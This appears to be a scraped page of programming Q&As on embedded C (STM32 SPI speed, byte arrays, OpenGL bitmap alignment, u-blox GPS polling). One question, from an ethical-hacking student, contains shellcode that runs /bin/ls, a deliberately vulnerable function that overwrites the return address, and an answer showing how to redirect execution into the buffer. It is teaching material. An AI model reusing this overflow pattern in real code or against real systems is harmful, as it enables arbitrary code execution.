Very slow SPI writing STM32 - c

I am currently writing a code to write on an LCD screen pixel by pixel. The code works fine, however the speed at which the code is processed is incredibly slow. The goal is simply to write number on the LCD screen so I am using the "switch" function with a "for loop" to read each of the bit I will activate. I am wondering if someone could tell me a way to speed up my code...
int* switch_library_number_1(int num, int octet)
{
switch(num)
{
case 0 : ;
int number_0 [] = {0x80, 0x08,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x88,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, ...};
int * pNumber_0 = &number_0[octet];
return pNumber_0;
break;
case 1 : ;
int number_1 [] = {0x80, 0x08,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, ...};
int * pNumber_1 = &number_1[octet];
return pNumber_1;
break;
}
Then it goes up to nine like that, I don't think you need to seem all the cases. Plus even if I deleted most of them, I have 522 bytes by number. The rest of the code goes as fallow :
int main(void)
{
ADC_Initialization();
SPI_Initialization();
int nombre_octet = 522;
int premier_nombre;
int deuxieme_nombre;
while(1)
{
GPIOA->BSRRL = CS;
for(int i = 0; i < nombre_octet; i++)
{
write_spi(*switch_library_number_1(0, i));
}
GPIOA -> BSRRH = CS;
for(int i = 0; i < 100; i++)
{
}
GPIOA->BSRRL = CS;
for(int i = 0; i < nombre_octet; i++)
{
write_spi(*switch_library_number_2(1, i));
}
GPIOA -> BSRRH = CS;
}
}
Finally, here is the write_SPI function, but due to it's simplicity, I don't think that it is the problem.
void write_spi(char data)
{
SPI1->DR = data;
while (!(SPI1->SR & SPI_I2S_FLAG_TXE));
while (!(SPI1->SR & SPI_I2S_FLAG_RXNE));
while (SPI1->SR & SPI_I2S_FLAG_BSY);
}
Thanks in advance!

I quite like the way you split your code into three snippets. I can suggest improvements for each of them:
switch_library_number_1():
This could be just a 2D array, number[][], or if number_0, number_1... are not of the same length, it could be an array of pointers to these. There would need to be checks for valid num and offset. This might be a minor speed improvement.
Your number_0... arrays are currently on stack, and read-write. Make them const, so they won't use RAM.
Currently you are returning a pointer to memory location on stack - this doesn't normally work, if it does it's by luck and accident. You should not access stack data when you're out of scope (function) where it's been defined. static const would make this safe, as it wouldn't be on stack anymore.
main loop:
It's a bit odd to call switch_library_number_1/2 on each loop iteration. You know your data will just be in array. This could probably be replaced by write_spi(number[0][i]); if number array is properly set up. This should get you some speed improvement, as it very much simplifies data fetching.
You appear to have a busy loop. That's a tricky practice (I bet 100 is a guess, and note that compiler could optimise this loop away). If possibly use some library provided delay function or a timer to get precise delays. Is this an actual requirement of SPI slave?
write_spi(char data):
char should be unsigned char here. chars might be signed or unsigned, so when you're using them as bytes (not actual string characters), you should specify signedness.
You seem to wait for every byte transmission to finish, which is safe, but a bit slow. Normally this can be rewritten into a faster alternative of wait_for_SPI_ready_for_TX; SPI_TX, where you only wait before sending next byte. Note that you will also need to wait for byte to be transmitted fully before pulling CS back high again. This could be a big speed improvement.
Some other things to consider:
What's the actual SPI clock? There may be huge speed improvements if clock is increased.
How did you measure this to be "slow"? Does it point to slow parts of code (what are those then? If not obvious from C, what are they assembled to?)
Have you got an oscilloscope/logic analyser to look at actual signals on wire? This may provide useful data.

I had a similar problem with STM32F207 Series Cortex-M3 controller, when I observed the TX line through Oscillator, I saw that CHIP_SELECT disable was taking too much time to set in, after all the data has sent.I figured out it is related to flag controls So ı play with the control flags a little bit, Here how it worked out just fine for me;
static void SPI_Send(uint16_t len,uint8_t* data)
{
uint16_t i;
for(i = 0;i<len;i++)
{
SPI_I2S_SendData(SPI1,*(data+i));
while(!(SPI1->SR & SPI_SR_TXE));
}
while(SPI1->SR & SPI_SR_BSY);
CHIP_SEL_DISABLE;
}
I believe it is slow because you are also checking the 'Receive Buffer Not Empty' where you don't need to.

Related

How to append another HEX value at the end of an existing byte array in C

I have searched on google and checked my findings on https://www.onlinegdb.com/
But so far, I am not satisfied with my trials and errors. Perhaps, I didn't know how to ask.
I am sure that this could be already very known by many people.
Normally I am reading HEX values from UART communication and placing in a buffer array.
But, for making things simpler, I give you that code snippet;
uint8_t buffer[20] = {0x7E, 0x00, 0x07, 0xAA, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0xCC};
uint8_t newValue = 0x55;
My goal is to append newValue on buffer and that new value has to be seen after the last array value which is 0xCC in this case.
So, my question is how to do that efficiently?
Note that: One of my trials (works OK but not as I wanted);
buffer[11] = newValue ;
for(int i=0;i<sizeof(buffer);i++)
printf("%02x", buffer[i]);
But, then I need to know the position of the last value and increase the position by one which is 11 (0 based counting) in this case.

Questions about glPixelStorei() alignment

Every 2 values in this array represent 16 pixels. (8 binary values per element)
GLubyte character[24] = {
0xc0, 0x00, 0xc0, 0x00, 0xc0, 0x00, 0xc0, 0x00, 0xc0, 0x00,
0xff, 0x00, 0xff, 0x00, 0xc0, 0x00, 0xc0, 0x00, 0xc0, 0x00,
0xff, 0xc0, 0xff, 0xc0
};
and this is my code to render my bitmap.
void init(){
glPixelStorei(GL_UNPACK_ALIGNMENT, 2);
}
void render(){
glBitmap(8, 12, 0.0, 11.0, 0.0, 0.0, character);
}
but when I change glBitmap(8, etc.) to glBitmap(10, etc.) , it doesn't work.
to make it work, I need to change,
glPixelStorei(GL_UNPACK_ALIGNMENT, 2);
to
glPixelStorei(GL_UNPACK_ALIGNMENT, 1);
My problem is, I have no idea why this works...
I just know that
GL_UNPACK_ALIGNMENT, 1
tells OpenGL to just go to next address without alignment.
I don't see any relationship between setting ALGINMENT to 1 and my bitmap's length.
Could somebody explain what's going on?
After going back to some historical spec documents (glBitmap() is a very obsolete call), the alignment rule for bitmaps is (page 136 of the OpenGL 2.1 spec):
k = a * ceiling(w / (8 * a))
Where:
w is the width, under the assumption that GL_UNPACK_ROW_LENGTH is not set.
a is the value of GL_UNPACK_ALIGNMENT.
k is the number of bytes used per row. Note that each row will always start on at least a byte boundary, no matter how the parameters are set.
Substituting the values from your example, for w = 8, we get:
1 byte per row with GL_UNPACK_ALIGNMENT of 1.
2 bytes per row with GL_UNPACK_ALIGNMENT of 2.
and for w = 10, we get:
2 bytes per row with GL_UNPACK_ALIGNMENT of 1.
2 bytes per row with GL_UNPACK_ALIGNMENT of 2.
Based on this, unless you also have other GL_UNPACK_* parameters set, you should get the same output for width 10 no matter if GL_UNPACK_ALIGNMENT is 1 or 2. If this is not the case, this looks like a bug in the OpenGL implementation.

Buffer overflow: execute char array loaded into memory

I'm an ethical hacking student and have been given this as an exercise. I've been stuck on it for two days now.
We're writing a program that is purposely vulnerable to a "buffer overflow".
#include <stdio.h>
void badf(int n, char c, char* buffer)
{
char mycode[] = {
0xeb, 0x0f, 0xb8, 0x0b,
0x00, 0x00, 0x00, 0x8b,
0x1c, 0x24, 0x8d, 0x0c,
0x24, 0x31, 0xd2, 0xcd,
0x80, 0xe8, 0xec, 0xff,
0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x6c,
0x73, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00
}; // 37 bytes
int i;
// Copy mycode array into buffer array
for (i=0; i<n; i++)
{
buffer[i]=mycode[i];
}
// Overwrite Base Pointer
buffer[37] = 0x00;
buffer[38] = 0x00;
buffer[39] = 0x00;
buffer[40] = 0x00;
// Overwrite Instruction Pointer
buffer[41] = 0x90;
buffer[42] = 0x83;
buffer[43] = 0x04;
buffer[44] = 0x08;
}
void f(int n, char c)
{
char buffer[37];
badf(n,c,buffer);
}
void test()
{
printf("test\n");
}
int main()
{
f(37,0x00);
return 0;
}
The mycode array contains "malicious" machine code (it actually just calls execv with /bin/ls). badf is the "vulnerable" function. At the moment you can see I'm overwriting the Base Pointer with 0x00s and the Instuction Pointer with 0x08048390 which is the address of the test() function. This works, 'test' is printed to the terminal.
Now my next exercise is to "use ddd to find the address of your code array and modify the C to write this address over the instruction pointer, as you did in the previous step".
What I don't understand, is how I can use ddd to find the address of my code array. I can easily find the address where the array is moved to BP:
0x08048260 <badf+12>: movb $0xeb,-0x29(%ebp)
0x08048264 <badf+16>: movb $0xf,-0x28(%ebp)
0x08048268 <badf+20>: movb $0xb8,-0x27(%ebp)
.....
Or where it is copied into the buffer array:
0x080482f4 <badf+160>: movl $0x0,-0x4(%ebp)
0x080482fb <badf+167>: jmp 0x8048316 <badf+194>
0x080482fd <badf+169>: mov -0x4(%ebp),%edx
0x08048300 <badf+172>: mov 0x10(%ebp),%eax
.....
But of course this is not what we're looking for.
How can I find the Instruction Pointer address to execute machine code that has been loaded in by writing it in the buffer array this way?
edit: ddd is the debugger we're using, also note we're working with a 32bit linux. The code is compiled with -fno-stack-operator flag, disabling the compilers auto-checks for buffer overflows.
Since you copy myCode into the buffer, you could simply use buffer itself:
Assuming a little-endian machine:
// Overwrite Instruction Pointer
buffer[41] = (char)(((uintptr_t)buffer) >> 0);
buffer[42] = (char)(((uintptr_t)buffer) >> 8);
buffer[43] = (char)(((uintptr_t)buffer) >> 16);
buffer[44] = (char)(((uintptr_t)buffer) >> 24);
I don't know how to do it with ddd, but you could modify badf to print mycode address by using a print statement like this:
printf("mycode address: %p", (void *) mycode);
See what that prints, and just write that to instruction pointer

how to create image programmatically

Is it possible to create bitmap programmatically in C?
I want to pass it some text to draw, e.g.
createBitmapWithContents("Hello");
or
createBitmapWithContents("Hello \n other line");
And it should create bitmap which has "Hello" drawn in it (or draw second text respectively).
Also, the text "Hello" might be a Unicode string. Not necessarily English characters.
Preferably I would like to do this without using some third party libraries.
You'll need to do two different things :
Generate an image in memory that represents your string
Store that image into a file
Both can be done without external libraries (using simple predefined patterns of characters and storing as simple format such as BMP).
But note that it would be a lot easier to do this using a high-level image drawing library such as OpenCV or ImageMagick.
The first thing to do is to is to define a data structure to store your image, something like this:
struct Image {
int height, width;
unsigned char* pixels;
};
Then you'll have to generate the functions to allocate the image, free the image and maybe something to copy an image inside another one.
In order to print your character on your image, you would have to create predefined patterns like this:
char patternA[] = {
0x00, 0x00, 0xff, 0x00, 0x00
0x00, 0xff, 0x00, 0xff, 0x00
0x00, 0xff, 0x00, 0xff, 0x00
0x00, 0xff, 0xff, 0xff, 0x00
0x00, 0xff, 0x00, 0xff, 0x00
0x00, 0xff, 0x00, 0xff, 0x00
0x00, 0xff, 0x00, 0xff, 0x00
};
Image imageOfA;
imageOfA.width = 5;
imageOfA.height= 7;
imageOfA.pixels= patternA;
You can also read those patterns from image files or even better, from a font file (but without external libraries, you'll need to implement the file readers yourself).
Once you have your patterns of characters, you can combine those predefined images to create a new image corresponding to your input string.
Finally, you'll have to write your image structure into a file. For that, you can either use a low-level library (such as libjpeg or libpng) or you can implement it yourself using a simple file format (such as BMP).
The conclusion is that you really want to use a third party library to achieve what you want.
Did you try googling this?
There's quite a few things you could do, for example you can you can run loops to create your own matrix of pixels. check this link here

Polling uBlox MAX-6Q

I'm currently working on a HAB (High Altitude Balloon) project, and so far, all has gone swimmingly.
I'm using an Arduino uno R3 as my main controller for this project, however, I'm struggling with the GPS side of things here.
Follwing the fantastic tutorial at UK-HAS (http://ukhas.org.uk/guides:ublox6) I'm currently working with the uBlox MAX-6Q GPS module.
I've played around with the code supplied on the tutorial, and am in the process of testing with the following sketch:
#include <SoftwareSerial.h>
SoftwareSerial GPS(3,2);
byte gps_set_success = 0;
void setup()
{
Serial.begin(9600);
GPS.begin(9600);
GPS.print("$PUBX,41,1,0007,0003,4800,0*13\r\n");
GPS.begin(4800);
GPS.flush();
uint8_t setNav[] = {
0xB5, 0x62, 0x06, 0x24, 0x24, 0x00, 0xFF, 0xFF, 0x06, 0x03, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00,
0x05, 0x00, 0xFA, 0x00, 0xFA, 0x00, 0x64, 0x00, 0x2C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xDC };
/*while(!gps_set_success)
{
sendUBX(setNav, sizeof(setNav)/sizeof(uint8_t));
gps_set_success = getUBX_ACK(setNav);
}*/
gps_set_success = 0;
GPS.println("$PUBX,40,GGA,0,0,0,0*5A");
GPS.println("$PUBX,40,GSA,0,0,0,0*4E");
GPS.println("$PUBX,40,RMC,0,0,0,0*47");
GPS.println("$PUBX,40,GSV,0,0,0,0*59");
GPS.println("$PUBX,40,VTG,0,0,0,0*5E");
GPS.println("$PUBX,40,GLL,0,0,0,0*5C");
}
void loop()
{
printGPSData();
delay(3000);
}
void printGPSData()
{
Serial.println("Polling: $PUBX,00*33");
GPS.println("$PUBX,00*33");
while (GPS.available())
{
if (GPS.available() > 0)
{
char c = GPS.read();
Serial.write(c);
}
}
Serial.println();
}
void sendUBX(uint8_t *MSG, uint8_t len)
{
for (int i = 0; i<len; i++)
{
GPS.write(MSG[i]);
Serial.print(MSG[i], HEX);
}
GPS.println();
}
boolean getUBX_ACK(uint8_t *MSG)
{
uint8_t b;
uint8_t ackByteID = 0;
uint8_t ackPacket[10];
unsigned long startTime = millis();
Serial.print(" * Reading ACK response: ");
ackPacket[0] = 0xB5;
ackPacket[1] = 0x62;
ackPacket[2] = 0x05;
ackPacket[3] = 0x01;
ackPacket[4] = 0x02;
ackPacket[5] = 0x00;
ackPacket[6] = MSG[2];
ackPacket[7] = MSG[3];
ackPacket[8] = 0;
ackPacket[9] = 0;
for (uint8_t i=2; i<8; i++)
{
ackPacket[8] = ackPacket[8] + ackPacket[i];
ackPacket[9] = ackPacket[9] + ackPacket[8];
}
while(1)
{
if (ackByteID > 9)
{
Serial.println("(SUCCESS!)");
return true;
}
if (millis() - startTime > 3000)
{
Serial.println("(FAILED!)");
return false;
}
if (GPS.available())
{
b = GPS.read();
if (b == ackPacket[ackByteID])
{
ackByteID++;
Serial.print(b,HEX);
}
else
{
ackByteID = 0;
}
}
}
}
I've been struggling with 2 issues here. I'm hitting the timeout in the getUBX_ACK method, thus meaning, no response from the GPS module to confirm the setting change. This isn't currently crucial as if need be, I can configure this through uCenter, and add a battery to preserve the settings.
However, the main issue I am facing is when I run this sketch with the setNav block in the setup commented out, I am able to turn off all the automatic NMEA sentences, and poll the module, but upon polling, I am greeted with the following:
Polling: $PUBX,00*33
followed by a number of invalid characters. (Rectangles)
I've checked baud rates stop bits, parity etc. along with the actual data line connections, but cannot seem to find the source of this. It suggests bad data lines/encoding/ to me, but I was wondering if this was something anybody else had ever experienced?
EDIT:
So, after more testing, it would appear that the SoftwareSerial library is NOT at fault here. I tried first, writing to an OpenLog using the SoftwareSerial GPS ipput, and then by hooking the GPS Tx directly into the OpenLog Rx. Same story. Opening the resulting file in Notepad++ yeilds a lovely bunch of 'NULL' characters. I can only presume something in the way the GPS is configured at runtime is causing a problem.
Bypassing the Arduino, and turning off the sentences and polling the GPS directly through serial works with no problems, the data is returned perfectly.
So, I'm feeling a bit daft here, there is an issue, but not with the GPS, I'll ask as a seperate question. It would appear I'm having problems with the SoftwareSerial library.
The SoftwareSerial library cannot use multiple soft serial ports at the same time, it would appear that despite many suggestions otherwise, I cannot switch between sof serial ports, as I am unable to begin() the second port, it would appear that the port first declared is to be unusable.

Resources